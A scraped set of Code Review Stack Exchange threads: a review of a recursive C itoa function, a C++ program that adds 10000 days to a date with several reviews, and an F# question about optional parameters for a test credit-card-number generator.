[ { "body": "<blockquote>\n<p>How does it look?</p>\n</blockquote>\n<p>Not so good.</p>\n<ol>\n<li><p>Not thread safe.</p>\n</li>\n<li><p>Does not handle negative numbers well.</p>\n</li>\n<li><p>Forms <code>&quot;&quot;</code> with 0.</p>\n</li>\n<li><p>Prone to buffer overflow.</p>\n</li>\n<li><p><code>itoa()</code> is not a standard function, yet it commonly returns a pointer.</p>\n</li>\n</ol>\n<p>A test harness</p>\n<pre><code>int main(void) {\n char buf[100];\n int test[] = {123, 456, 0, - 42, INT_MAX, INT_MIN};\n int n = sizeof test / sizeof *test;\n for (int i = 0; i &lt; n; i++) {\n itoa(test[i], buf);\n printf(&quot;%-11d &lt;%s&gt;\\n&quot;, test[i], buf);\n }\n return 0;\n}\n</code></pre>\n<p>Output</p>\n<pre><code>123 &lt;123&gt;\n456 &lt;456&gt;\n0 &lt;&gt;\n-42 &lt;,.&gt;\n2147483647 &lt;2147483647&gt;\n-2147483648 &lt;./,),(-*,(&gt;\n</code></pre>\n<hr />\n<blockquote>\n<p>It is not thread-safe due to the static, but is that an issue for a function such as this?</p>\n</blockquote>\n<p>Yes. Thread safety is expected.</p>\n<hr />\n<blockquote>\n<p>If so, how could I update that? What other ways could I make improvements to it?</p>\n</blockquote>\n<p>I really do not think this is a good place to use recursion given the potential for buffer overflow is a fair complication.</p>\n<p>But if one <em>must</em> use recursion, consider adding error checking and test for various sorts of <code>int</code> including <code>0, INT_MAX, INT_MIN</code>.</p>\n<pre><code>static char* itoa_helper(int number, size_t sz, char buffer[]) {\n if (sz == 0) {\n return NULL;\n }\n if (number &lt;= -10) {\n buffer = itoa_helper(number / 10, sz - 1, buffer);\n if (buffer == NULL) {\n return NULL;\n }\n number %= 10;\n }\n *buffer = (char) ('0' - number);\n return buffer + 1;\n}\n\nchar* itoa_recursive_alt(int number, size_t sz, char buffer[sz]) {\n if (sz == 0 || buffer == NULL) {\n return NULL;\n }\n char *s = buffer;\n\n if (number &gt;= 0) {\n // Flip pos numbers to neg as neg range is greater.\n number = -number;\n } else {\n sz--;\n if (sz == 0) {\n *buffer = '\\0';\n return NULL;\n }\n *s++ = '-';\n }\n s = itoa_helper(number, sz-1, s);\n if (s == NULL) {\n *buffer = '\\0';\n return NULL;\n }\n *s = 0;\n return buffer;\n}\n\nint main(void) {\n char buf[100];\n int test[] = {123, 456, 0, -42, INT_MAX, INT_MIN};\n int n = sizeof test / sizeof *test;\n for (int i = 0; i &lt; n; i++) {\n // char *s = itoa_recursive_alt(test[i], sizeof buf, buf);\n char *s = itoa_recursive_alt(test[i], sizeof buf, buf);\n if (s == NULL)\n s = &quot;NULL&quot;;\n printf(&quot;%-11d &lt;%s&gt; &lt;%s&gt;\\n&quot;, test[i], s, buf);\n }\n return 0;\n}\n</code></pre>\n<p>Output</p>\n<pre><code>123 &lt;123&gt; &lt;123&gt;\n456 &lt;456&gt; &lt;456&gt;\n0 &lt;0&gt; &lt;0&gt;\n-42 &lt;-42&gt; &lt;-42&gt;\n2147483647 &lt;2147483647&gt; &lt;2147483647&gt;\n-2147483648 &lt;-2147483648&gt; &lt;-2147483648&gt;\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T03:38:19.873", "Id": "508474", "Score": "0", "body": "awesome, thank you so much for putting in the time. A few questions: (1) what's the downside of not doing the covert-to-negative? (2) what's the downside of not passing a `size` to the itoa function? Can't the callee determine the size and just set a max-length and return an error if there's truncation?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T03:45:48.977", "Id": "508475", "Score": "1", "body": "@carl.hiass 1) what's the downside of not doing the covert-to-negative? --> Explain how you are going to handle `INT_MIN` which is less than `-INT_MAX`. 2) what's the downside of not passing a size to the itoa function? --> Risking buffer overflow 3) Can't the callee determine the size and just set a max-length and return an error if there's truncation? --->Unless the caller provides a _size_, the callee does not know how much is too much. The callee does not control the amount of buffer that can be used. The caller knows though." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T03:46:21.600", "Id": "508476", "Score": "0", "body": "@carl.hiass Was _recursion_ a requirement?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T04:43:20.550", "Id": "508481", "Score": "0", "body": "no I was just learning about it and trying out with that. I thought it might get rid of the need to reverse (which it does) but obviously there are a lot of other issues it introduces." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T04:51:45.483", "Id": "508484", "Score": "0", "body": "I've written an updated version based on your help -- thanks again! https://codereview.stackexchange.com/questions/257428/improving-an-itoa-function" } ], "meta_data": { "CommentCount": "5", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T01:49:41.603", "Id": "257422", "ParentId": "257387", "Score": "2" } } ]
{ "AcceptedAnswerId": "257422", "CommentCount": "7", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T06:39:31.527", "Id": "257387", "Score": "0", "Tags": [ "c" ], "Title": "Writing an itoa function" }
257387
<p>I'm currently doing old exams from my course to train for my upcoming exam. What I'm wondering is about a code block which I will specify after I've presented the different files with code.</p> <h3>//<code>upggift1.cc</code> aka the main</h3> <pre><code>#include &quot;date.h&quot; #include &lt;iostream&gt; using namespace std; int main() { Date d1; bool create_date_again = true; int temp_date[3]; char garbage; cout &lt;&lt; &quot;Enter a date: &quot;; cin &gt;&gt; temp_date[0]; cin &gt;&gt; garbage; cin &gt;&gt; temp_date[1]; cin &gt;&gt; garbage; cin &gt;&gt; temp_date[2]; while (create_date_again) { try { Date date{temp_date[0], temp_date[1], temp_date[2]}; d1 = date; create_date_again = false; } catch (const std::exception &amp;e) { cout &lt;&lt; &quot;invalid date, enter another date: &quot;; cin &gt;&gt; temp_date[0]; cin &gt;&gt; garbage; cin &gt;&gt; temp_date[1]; cin &gt;&gt; garbage; cin &gt;&gt; temp_date[2]; create_date_again = true; } } for (int i{}; i &lt; 10000; ++i) { d1.tomorrow(); } cout &lt;&lt; &quot;10000 days later: &quot;; d1.print(cout); return 0; } </code></pre> <h3>//<code>date.h</code></h3> <pre><code>#ifndef DATE_H #define DATE_H #include &lt;ostream&gt; class Date { public: Date(); Date(int const y, int const m, int const d); bool is_leap_year() const; int days_in_month() const; void print(std::ostream&amp; os) const; void tomorrow(); private: int year; int month; int day; void increment(); }; #endif </code></pre> <h3>//<code>date.cc</code></h3> <pre><code>#include &quot;date.h&quot; #include &lt;iostream&gt; #include &lt;string&gt; #include &lt;array&gt; using namespace std; Date::Date() : year{}, month{}, day{} { } Date::Date(int const y, int const m, int const d) : year{y}, month{m}, day{d} { if (month &lt; 1 || month &gt; 12) { throw std::domain_error{&quot;Month &quot; + std::to_string(month) + &quot; doesn't exist!&quot;}; } if (day &lt; 1 || day &gt; days_in_month()) { throw std::domain_error{&quot;Day &quot; + std::to_string(day) + &quot; invalid&quot;}; } } int Date::days_in_month() const { static constexpr const std::array&lt;int, 13&gt; days{0, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31}; if (month &lt; 1 || month &gt; 12) return 0; if (month == 2 &amp;&amp; is_leap_year()) return 29; return days.at(month); } bool Date::is_leap_year() const { if (year % 400 == 0) return true; if (year % 100 == 0) return false; return year % 4 == 0; } void Date::print(std::ostream &amp;os) const { os &lt;&lt; year; if (month &lt; 10) { os &lt;&lt; &quot;-0&quot; &lt;&lt; month; } else { os &lt;&lt; &quot;-&quot; &lt;&lt; month; } if (day &lt; 10) { os &lt;&lt; &quot;-0&quot; &lt;&lt; day; } else { os &lt;&lt; &quot;-&quot; &lt;&lt; day; } os &lt;&lt; endl; } void Date::tomorrow() { day++; if (is_leap_year()) { if (day &gt; 29 &amp;&amp; month == 2) { day = 1; month++; return; } if (month != 2) { increment(); } } else { increment(); } } void Date::increment() { if (day &gt; days_in_month()) { day = 1; month++; } if (month &gt; 12) { month = 1; year++; } } </code></pre> <p>This is the part I'm particularly unsure about (<code>uppgift1.cc</code> file):</p> <pre><code>while (create_date_again) { try { Date date{temp_date[0], temp_date[1], temp_date[2]}; d1 = date; create_date_again = false; } catch (const std::exception &amp;e) { cout &lt;&lt; &quot;invalid date, enter another date: &quot;; cin &gt;&gt; temp_date[0]; cin &gt;&gt; garbage; cin &gt;&gt; temp_date[1]; cin &gt;&gt; garbage; cin &gt;&gt; temp_date[2]; create_date_again = true; } } </code></pre> <p>This is how I'm supposed to execute the program, and what is going to happen.</p> <pre><code>./a.out Enter a date:2013-13-02 Invalid date, enter another date:2013-12-42 Invalid date, enter another date:1900-02-29 Invalid date, enter another date:1987-04-13 10000 days later: 2014-08-29 </code></pre> <p>My solution to keep making a new date until it's in the right format, is the <code>while</code> loop with <code>try</code>-<code>catch</code> block inside. Is that a solid solution?</p> <p>I came across the problem that I wanted to create my date inside the <code>try</code>-<code>catch</code>, but then its scope doesn't allow use after the <code>catch</code>. My solution to that was to create <code>d1</code> in the main function, but I feel like this is kind of wonky? Is there any better way to solve that problem?</p> <p>Much of the code in the header and implantation files are given and/or should be very similar. Feel free to give my any other advance if you want to and thank you very much if you've spent your time with this!</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T09:30:05.813", "Id": "508398", "Score": "2", "body": "The current question title, which states your concerns about the code, applies to too many questions on this site to be useful. The site standard is for the title to **simply state the task accomplished by the code**. Please see [**How do I ask a good question?**](https://CodeReview.StackExchange.com/help/how-to-ask)." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T14:22:12.117", "Id": "508423", "Score": "2", "body": "I see you have edited the title, but it still seems to be focused on the _mechanism_ of the program, rather than its _purpose_. Please re-read [How do I ask a good question?](/help/how-to-ask) and then edit accordingly." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T15:46:05.890", "Id": "508437", "Score": "0", "body": "I changed the title so that it describes what the code does per [site goals](/questions/how-to-ask): \"*State what your code does in your title, not your main concerns about it.*\". Please check that I haven't misrepresented your code, and correct it if I have." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T17:39:08.837", "Id": "508445", "Score": "0", "body": "I would use the standard date time functions. Normally you would store the date as seconds from the epoc. Then getting the next day is simply adding `60*60*24` seconds. Adding a thousand days is `1000*60*60*24`. Then you only need to convert it into year/month/day when you print it (there are functions for this already)." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T04:03:45.717", "Id": "508477", "Score": "0", "body": "(@MartinYork: Sure, but how on earth do you add *10000* days?!?!!!!!)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T04:08:10.093", "Id": "508478", "Score": "0", "body": "The way to validate \"text date\"s would seem to depend on the context of the loop presented. Which you don't present, almost a day after [being referred to *How do I ask a good question?*](https://codereview.stackexchange.com/questions/257389/add-10000-days-to-a-date#comment508398_257389)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T05:32:51.617", "Id": "508486", "Score": "0", "body": "@greybeard `timeSinceEpoch += 10'000 * 60 * 60 * 24;`" } ]
[ { "body": "<h2><code>upggift1.cc</code></h2>\n<p>Please don't do this:</p>\n<blockquote>\n<pre><code>using namespace std;\n</code></pre>\n</blockquote>\n<p>We have namespaces for good reason, and it's a bad habit to throw away their benefits like that.</p>\n<blockquote>\n<pre><code>Date d1;\nbool create_date_again = true;\nint temp_date[3];\nchar garbage;\n</code></pre>\n</blockquote>\n<p>This looks like something written by a (quite old) C programmer. Prefer to declare variables where they can be initialised, rather than all at the head of the block like this. It looks like <code>temp_date</code> should be three individual variables, since we never actually use them as an array.</p>\n<blockquote>\n<pre><code>cout &lt;&lt; &quot;Enter a date: &quot;;\n</code></pre>\n</blockquote>\n<p>We should be more specific with the message, as users will expect to be able to enter a date in their own locale's usual format, e.g. 19th March 2021, but we require a much more specific format here.</p>\n<blockquote>\n<pre><code>cin &gt;&gt; temp_date[0];\ncin &gt;&gt; garbage;\ncin &gt;&gt; temp_date[1];\ncin &gt;&gt; garbage;\ncin &gt;&gt; temp_date[2];\n</code></pre>\n</blockquote>\n<p>There's no check whether all the inputs were successfully converted. So we don't know whether all four variables were assigned.</p>\n<blockquote>\n<pre><code> catch (const std::exception &amp;e)\n</code></pre>\n</blockquote>\n<p>Why are we catching such a broad range of exceptions? In particular, this will catch <code>std::bad_alloc</code> and provide a very poor response to it.</p>\n<blockquote>\n<pre><code> catch (const std::exception &amp;e)\n {\n cout &lt;&lt; &quot;invalid date, enter another date: &quot;;\n cin &gt;&gt; temp_date[0];\n cin &gt;&gt; garbage;\n cin &gt;&gt; temp_date[1];\n cin &gt;&gt; garbage;\n cin &gt;&gt; temp_date[2];\n \n create_date_again = true;\n }\n</code></pre>\n</blockquote>\n<p>Here, we have a repetition of code we've already written. We shouldn't need to write this input again. And there's still no check for non-numeric input or end of file (giving an infinite loop when I run the program with no input).</p>\n<p>And why are we assigning to <code>create_date_again</code> the same value that we already know it contains?</p>\n<hr />\n<h2><code>date.h</code></h2>\n<blockquote>\n<pre><code>#include &lt;ostream&gt;\n</code></pre>\n</blockquote>\n<p>It's better to include <code>&lt;iosfwd&gt;</code> when we only need the declarations.</p>\n<blockquote>\n<pre><code>Date();\n</code></pre>\n</blockquote>\n<p>Is it a good idea to have a default constructor? That requires a lot of logic in all functions to handle a default-constructed (invalid) date properly. It's better to use <code>std::optional</code> where code needs the concept of &quot;Not a date&quot;.</p>\n<blockquote>\n<pre><code>Date(int const y, int const m, int const d);\n</code></pre>\n</blockquote>\n<p>Declaring the formal parameters <code>const</code> here has no effect, and is therefore just useless clutter.</p>\n<blockquote>\n<pre><code>void print(std::ostream&amp; os) const;\n</code></pre>\n</blockquote>\n<p>We would normally provide <code>operator&lt;&lt;()</code> instead, for easier use.</p>\n<blockquote>\n<pre><code>void tomorrow();\n</code></pre>\n</blockquote>\n<p>That's a poor name for a function that modifies the instance.</p>\n<hr />\n<h2><code>date.cc</code></h2>\n<blockquote>\n<pre><code>if (month &lt; 1 || month &gt; 12)\n{\n throw std::domain_error{&quot;Month &quot; + std::to_string(month) + &quot; doesn't exist!&quot;};\n</code></pre>\n</blockquote>\n<p>I think <code>std::invalid_argument</code> is a more logical choice there. <code>std::domain_error</code> is more suited to mathematical operations (e.g. matrix inversion).</p>\n<p>When we catch the exception in <code>main()</code>, we ought to be extracting and displaying the message to help the user. Otherwise we've just wasted our effort constructing a meaningful message.</p>\n<blockquote>\n<pre><code>bool Date::is_leap_year() const\n{\n if (year % 400 == 0)\n return true;\n if (year % 100 == 0)\n return false;\n\n return year % 4 == 0;\n}\n</code></pre>\n</blockquote>\n<p>That's probably the least efficient way to write this condition. Test the most likely case first:</p>\n<pre><code>bool Date::is_leap_year() const\n{\n if (year % 4)\n return false;\n if (year % 100)\n return true;\n return year % 400 == 0;\n}\n</code></pre>\n<blockquote>\n<pre><code>if (month &lt; 10)\n{\n os &lt;&lt; &quot;-0&quot; &lt;&lt; month;\n}\nelse\n{\n os &lt;&lt; &quot;-&quot; &lt;&lt; month;\n}\n</code></pre>\n</blockquote>\n<p>Instead of that <code>if</code>/<code>else</code> stuff, just use stream formatting to use 2 digits, zero-filled:</p>\n<pre><code>os &lt;&lt; '-' &lt;&lt; std::setw(2) &lt;&lt; std::setfill('0') &lt;&lt; month;\n</code></pre>\n<blockquote>\n<pre><code>os &lt;&lt; endl;\n</code></pre>\n</blockquote>\n<p>Avoid <code>std::endl</code> - just use plain <code>\\n</code> and let the caller decide when the stream needs to be flushed.</p>\n<blockquote>\n<pre><code>day++;\n</code></pre>\n</blockquote>\n<p>Prefer pre-increment when the value isn't used. Although it makes no difference with <code>int</code>, being consistent makes it easy for the reader.</p>\n<p><code>tomorrow()</code> seems over-complicated, particularly since we already have <code>days_in_month()</code> whose logic we seem to be repeating.</p>\n<hr />\n<p>Here's something simpler and more robust:</p>\n<pre><code>#include &quot;date.h&quot;\n#include &lt;iostream&gt;\n#include &lt;limits&gt;\n\nstatic Date get_date(std::istream&amp; is = std::cin, std::ostream&amp; os = std::cout)\n{\n for (;;) {\n os &lt;&lt; &quot;Enter a date (y-m-d): &quot;;\n char separator;\n int year, month, day;\n is &gt;&gt; year &gt;&gt; separator &gt;&gt; month &gt;&gt; separator &gt;&gt; day;\n if (!is) {\n // discard the erroneous input line\n is.clear();\n is.ignore(std::numeric_limits&lt;std::streamsize&gt;::max(), '\\n');\n if (is.eof()) {\n throw std::ios_base::failure(&quot;Stream read failure&quot;);\n }\n os &lt;&lt; &quot;Invalid format.&quot;;\n continue;\n }\n try {\n return {year, month, day};\n } catch (std::invalid_argument&amp; e) {\n os &lt;&lt; e.what() &lt;&lt; &quot; &quot;;\n // and go round again\n }\n }\n}\n\nint main()\n{\n try {\n auto date = get_date();\n for (auto i = 0; i &lt; 10000; ++i) {\n date.advance();\n }\n std::cout &lt;&lt; &quot;10000 days later: &quot; &lt;&lt; date &lt;&lt; '\\n';\n } catch (std::runtime_error&amp; e) {\n std::cerr &lt;&lt; e.what();\n }\n}\n</code></pre>\n<pre><code>#ifndef DATE_H\n#define DATE_H\n\n#include &lt;iosfwd&gt;\n\nclass Date\n{\npublic:\n Date(int y, int m, int d);\n\n bool is_leap_year() const;\n int days_in_month() const;\n\n void advance();\n\n friend std::ostream&amp; operator&lt;&lt;(std::ostream&amp; os, const Date&amp; date);\n\nprivate:\n int year;\n int month;\n int day;\n};\n#endif\n</code></pre>\n<pre><code>#include &quot;date.h&quot;\n#include &lt;array&gt;\n#include &lt;iomanip&gt;\n#include &lt;iostream&gt;\n#include &lt;string&gt;\n\nDate::Date(int const y, int const m, int const d)\n : year{y}, month{m}, day{d}\n{\n if (month &lt; 1 || month &gt; 12) {\n throw std::invalid_argument{&quot;Month &quot; + std::to_string(month) + &quot; doesn't exist!&quot;};\n }\n\n if (day &lt; 1 || day &gt; days_in_month()) {\n throw std::invalid_argument{&quot;Day &quot; + std::to_string(day) + &quot; doesn't exist!&quot;};\n }\n}\n\nint Date::days_in_month() const\n{\n constexpr std::array days{0, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31};\n\n if (month == 2 &amp;&amp; is_leap_year())\n return 29;\n\n return days.at(month);\n}\n\nbool Date::is_leap_year() const\n{\n return year % 4 == 0 &amp;&amp; year % 100 || year % 400 == 0;\n}\n\nstd::ostream&amp; operator&lt;&lt;(std::ostream&amp; os, const Date&amp; date)\n{\n return\n os &lt;&lt; date.year\n &lt;&lt; '-' &lt;&lt; std::setw(2) &lt;&lt; std::setfill('0') &lt;&lt; date.month\n &lt;&lt; '-' &lt;&lt; std::setw(2) &lt;&lt; std::setfill('0') &lt;&lt; date.day;\n}\n\nvoid Date::advance()\n{\n ++day;\n if (day &lt;= days_in_month()) {\n return;\n }\n ++month;\n day = 1;\n if (month &lt;= 12) {\n return;\n }\n ++year;\n month = 1;\n}\n</code></pre>\n<p>With this version, I've separated out a <code>get_date()</code> function. We can test that independently. Normally, I'd use one of the common unit-test frameworks for testing, but we can cobble together something quite simple for this:</p>\n<pre><code>#include &lt;sstream&gt;\n\n// return error count - 0 on success\nint test_fail(const std::string&amp; input)\n{\n std::istringstream is{input};\n std::ostringstream os{};\n try {\n Date d = get_date(is, os);\n // shouldn't get here\n std::cerr &lt;&lt; &quot;FAIL: \\&quot;&quot; &lt;&lt; input\n &lt;&lt; &quot;\\&quot; produced &quot; &lt;&lt; d\n &lt;&lt; &quot; instead of failure.\\n&quot;;\n return 1;\n } catch (std::ios_base::failure&amp;) {\n // as expected\n return 0;\n }\n}\n\nint test_succeed(const std::string&amp; input)\n{\n std::istringstream is{input};\n std::ostringstream os{};\n try {\n get_date(is, os);\n // as expected\n return 0;\n } catch (std::ios_base::failure&amp;) {\n // shouldn't get here\n std::cerr &lt;&lt; &quot;FAIL: \\&quot;&quot; &lt;&lt; input\n &lt;&lt; &quot;\\&quot; raised exception.\\n&quot;;\n return 1;\n }\n}\n\nint main()\n{\n int errors =\n + test_fail(&quot;&quot;)\n + test_fail(&quot;not a date&quot;)\n + test_succeed(&quot;not a date\\n2000-01-01&quot;)\n + test_fail(&quot;0-0-0&quot;)\n + test_fail(&quot;2000-01-0&quot;)\n + test_succeed(&quot;2000-01-01&quot;)\n + test_succeed(&quot;2000 01 01&quot;)\n + test_succeed(&quot;2000+01+01&quot;)\n + test_succeed(&quot;2000O01O01&quot;) // do we really want to allow this??\n + test_succeed(&quot;2000-01-31&quot;)\n + test_fail(&quot;2000-01-32&quot;)\n + test_succeed(&quot;2000-02-29&quot;)\n + test_fail(&quot;2000-02-30&quot;)\n + test_succeed(&quot;2004-02-29&quot;)\n + test_fail(&quot;2004-02-30&quot;)\n + test_succeed(&quot;2001-02-28&quot;)\n + test_fail(&quot;2001-02-29&quot;)\n + test_succeed(&quot;2100-02-28&quot;)\n + test_fail(&quot;2100-02-29&quot;)\n ;\n if (errors == 1) {\n std::cerr &lt;&lt; &quot;There was one test failure.\\n&quot;;\n } else if (errors) {\n std::cerr &lt;&lt; &quot;There were &quot; &lt;&lt; errors &lt;&lt; &quot; test failures.\\n&quot;;\n }\n return errors &gt; 0;\n}\n</code></pre>\n<p>The testing for the date addition can easily be incorporated into this framework.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T08:29:59.240", "Id": "508499", "Score": "0", "body": "Thanks for the feedback!" } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T15:34:47.137", "Id": "257402", "ParentId": "257389", "Score": "4" } }, { "body": "<p>If the goal is to compute a date 10,000 days from now, I would strongly recommend using the <code>std::chrono</code> facilities. If you do, the code would be only a few lines long:</p>\n<pre><code>#include &lt;iostream&gt;\n#include &lt;iomanip&gt;\n#include &lt;ctime&gt;\n#include &lt;chrono&gt;\n\nint main()\n{\n using namespace std::chrono;\n auto later{system_clock::to_time_t(system_clock::now() + days(10'000))};\n std::cout &lt;&lt; &quot;10,000 days from now the date will be &quot;\n &lt;&lt; std::put_time(std::localtime(&amp;later), &quot;%F&quot;) &lt;&lt; &quot;\\n&quot;;\n}\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T15:49:32.023", "Id": "508515", "Score": "0", "body": "Thanks for the feedback, but as I stated in my description, because many of the files must be in a certain way and atleast exist, this will not be an alternative. One goal of the assignment is train our logic by creating our own function. Your solution is more of a training in memory/googling to find the right #include, I'd guess." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T16:02:35.787", "Id": "508517", "Score": "0", "body": "I'd like to think of it instead as using the most appropriate tool. If I were writing production code, it would look like this (or would use the even more capable [`std::chrono::year_month_day`](https://en.cppreference.com/w/cpp/chrono/year_month_day) with a C++20 compliant compiler and library). \"Reinventing the wheel\" is, however, sometimes a valuable learning experience." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T18:04:17.150", "Id": "257405", "ParentId": "257389", "Score": "3" } }, { "body": "<p>It's not common practice to use exceptions when validating user input. A simpler approach would be for the <code>Date</code> class to provide a static member function to check whether it's constructible from the given arguments:</p>\n<pre><code>class Date\n{\npublic:\n static is_valid(int y, int m, int d);\n Date(int y, int m, int d);\n</code></pre>\n<p>Then instead of <code>throw</code>/<code>catch</code>, we can read input until <code>Date::is_valid()</code> returns true, and then proceed.</p>\n<p>If we want better error messages, we could split the function:</p>\n<pre><code> static is_valid_month(int y, int m, int d);\n static is_valid_day(int y, int m, int d);\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T08:30:09.423", "Id": "508500", "Score": "0", "body": "I will look into that :)" } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T08:18:00.623", "Id": "257432", "ParentId": "257389", "Score": "2" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "7", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T08:29:10.343", "Id": "257389", "Score": "3", "Tags": [ "c++", "datetime" ], "Title": "Add 10000 days to a date" }
257389
<p>In the context of a library to generate random credit card, it would be nice to let the user the possibility to set some optional options on some cards. Lets take Visa. Two lengths are available: 13 or 16 digits.</p> <p>In C# a common implementation would be:</p> <pre class="lang-csharp prettyprint-override"><code>enum VisaLengthOptions { Thirteen, Sixteen } public static string GenerateVisa(VisaLengthOptions length = VisaLengthOptions.Sixteen) { if (length == VisaLengthOptions.Thirteen) return &quot;4000000000001&quot;; if (length == VisaLengthOptions.Sixteen) return &quot;4000000000000001&quot;; return &quot;&quot;; } </code></pre> <p>Since F# does not support optional parameter (for currying and simplicity reason (note that it could be done since ocaml did it)). What would be the most idiomatic way to write this in F#?</p> <p>Here is a guess:</p> <pre><code>type VisaLengthOptions = | Thirteen = 0 | Sixteen = 1 let constructVisa length = match length with | VisaLengthOptions.Thirteen -&gt; &quot;4000000000001&quot; | VisaLengthOptions.Sixteen -&gt; &quot;4000000000000001&quot; | _ -&gt; &quot;&quot; let generateVisa () = constructVisa VisaLengthOptions.Sixteen </code></pre> <p>So there are no optional parameter and have two functions cant have the same name even with different signatures. What wrong with this snippet?</p> <p>We want our library to have a Truly Discoverable API. So we would like to avoid having two different name for basically the same logic. Should we follow the <code>map</code> and <code>map2</code> and goes generateVisa and generateVisa2? or like <code>map</code> and <code>mapi</code> and goes generateVisa and generateVisaL? Is there a one true F# way?</p> <p>A good example in the .net world is <a href="https://docs.microsoft.com/en-us/dotnet/api/system.string.split?view=net-5.0" rel="nofollow noreferrer">Split</a>.</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-20T22:31:54.627", "Id": "508543", "Score": "0", "body": "Just for the sake of being pedantic: credit card numbers are not \"random\": usually the first six digits represent the BIN, that is a prefix that is assigned to issuers (of course large issuers have more than one BIN). Besides, the card number should have a check-digit to comply with the Luhn algorithm. So, the issuer has an effective pool that is **not** 10^16. Then, it stands to reason that the same number should not be assigned more than once - unlikely with such a large range but depends on the seed. If you decide to have randomization you should still have some form of storage." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T14:39:51.723", "Id": "508572", "Score": "0", "body": "@Anonymous Well yes but no. If most card comply with the Luhn algorithm some don't (e.g. Verve or Diners Club enRoute credit card dont). For the 6 first numbers this is far from being true. Any card starting with a 4 may be a Visa (and a visa doesn't need anything else than starting with a four to be a visa) but if it is 4571 it is specifically a Dankort (Visa co-branded). Dankort also uses 5019. So the prefix can vary from 1 to 6. Finally you may or may not care about collision. it depends of your use-case." } ]
[ { "body": "<p>First, I don't think you want an enum there, but I don't have the full context of your actual usage, my examples use a Discriminated Union rather than an enum.</p>\n<p>I'm not sure which is idiomatic but here are 2.5 ways to do it.</p>\n<pre><code>type VisaLengthOptions = \n | Thirteen\n | Sixteen\n\nlet generateVisa =\n function\n | Some Thirteen -&gt; &quot;4000000000001&quot;\n | Some Sixteen\n | None -&gt; &quot;4000000000000001&quot;\n \n \ntype Generator() =\n member __.GenerateVisa(?visaLength) =\n let visaLength = defaultArg visaLength Sixteen\n match visaLength with\n | Thirteen -&gt; &quot;4000000000001&quot;\n | Sixteen -&gt; &quot;4000000000000001&quot;\n</code></pre>\n<p>There is also the attribute based option presented in</p>\n<p><a href=\"https://github.com/fsharp/fslang-design/blob/master/FSharp-4.1/FS-1027-complete-optional-defaultparametervalue.md\" rel=\"nofollow noreferrer\">https://github.com/fsharp/fslang-design/blob/master/FSharp-4.1/FS-1027-complete-optional-defaultparametervalue.md</a></p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T22:00:05.307", "Id": "257418", "ParentId": "257391", "Score": "1" } }, { "body": "<p>I would argue that if you need optional parameters your interface is different hence you need another function.\nWith that said, if you really want optional parameters you must always define a default value, an you could then use partial application for that.</p>\n<pre><code>let f op1 op2 nonOpt = op1 + op2 + nonOpt\n\nlet fWithDefaults = f 1 2\n</code></pre>\n<p>Then you can use your <code>fWithDefaults</code> whenever you want the defaults.</p>\n<p>For your particular example I would write it like this :</p>\n<pre><code>type VisaLengths = \n | Thirteen\n | Sixteen\n\nlet generateVisa (length : VisaLengths option) =\n let length = Option.defaultValue Sixteen length\n match length with\n | Thirteen -&gt; &quot;4000000000001&quot;\n | Sixteen -&gt; &quot;4000000000000001&quot;\n \n</code></pre>\n<p>It would be the most &quot;idiomatic&quot;, even if it can be a litter cumbersome but it does what you want to do.</p>\n<p>Agree, you still have to passe <code>None</code>... But at least your intention about a <code>optional</code> value is explicit, which is very valuable for others reading your code.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T09:43:49.233", "Id": "257562", "ParentId": "257391", "Score": "2" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T09:31:15.723", "Id": "257391", "Score": "1", "Tags": [ ".net", "f#", "library" ], "Title": "What would be the idiomatic F# way to write optional parameters?" }
257391
